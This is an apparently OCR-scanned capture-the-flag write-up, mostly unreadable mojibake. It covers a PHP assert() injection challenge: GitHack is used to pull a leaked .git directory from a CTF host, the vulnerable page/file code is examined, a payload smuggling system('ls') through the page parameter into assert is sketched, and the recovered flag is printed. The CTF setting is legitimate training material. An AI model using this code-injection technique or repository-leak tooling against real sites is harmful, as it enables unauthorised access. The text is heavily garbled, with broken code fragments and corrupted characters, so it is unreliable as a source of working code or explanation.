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Githack F#BEH:: https://github.com/lijiejie/GitHack
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% python GitHack.py http://web.jarvisoj.com:32798/.git/
[+] Download and parse index file

index.php

templates/about.php

templates/contact.php

templates/flag.php

templates/home.php

[OK] templates/contact.php
[OK] index.php

[OK] templates/about.php
[OK] templates/flag.php
[OK] templates/home.php
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B home.php 2019-09-0420:10  PHP i 1 KB
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. $page .
) or die(
$file ) or die(
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$file . $page . 5

o assertR HPAT R/ B

) or die(

$file ) or die(

strpos|() i HUfiE R

strpos() R ERFERFBRES —FRBEPE—RHRIE.
il 4n :

<?php

echo strpos(“You love php, | love php too!”,“php”);

?>
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asserted AT

PHP 5

assert ( mixed $assertion [, string $description ] ) : bool
PHP7

assert ( mixed $assertion [, Throwable $exception ] ) : bool
assert() S EHEEN assertion HEE R/ FALSE BT SEEUESHTH,
Traditional assertions (PHP 5 and 7)
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) or die(

$file ) or die(
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it payload

payloadl: page

ARG

) or die(

) or die(

1. $pageZBEREFFH L BN L5 5 MRIE T B ERE
$file . ', system( ). . ;
ik, $fileds&HIEN:
$file-templates .php
2. $fileTRHNIG
assert ( 1s ) or die( );

A W$file B EAFEZELM 7, FULAWHEAER, Sl T dieki$
3. MHH “VEEFERE, AT T system(“ls”)

assert( 1s ) or die( );
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Q &3 HTML
<!--2php // TODO //$FLAG
<!--2php // TODO //$FLAG
<html:
<head></head>
That file doesn’'t exist!
L

"6ldctf{8e careful when uslng assdrt}’; ?--»
"6ldctf{8e_careful when_uslng_assdrt}’; 2-->

f3%|flag : 61dctf{8e_careful_when_using_ass4rt}
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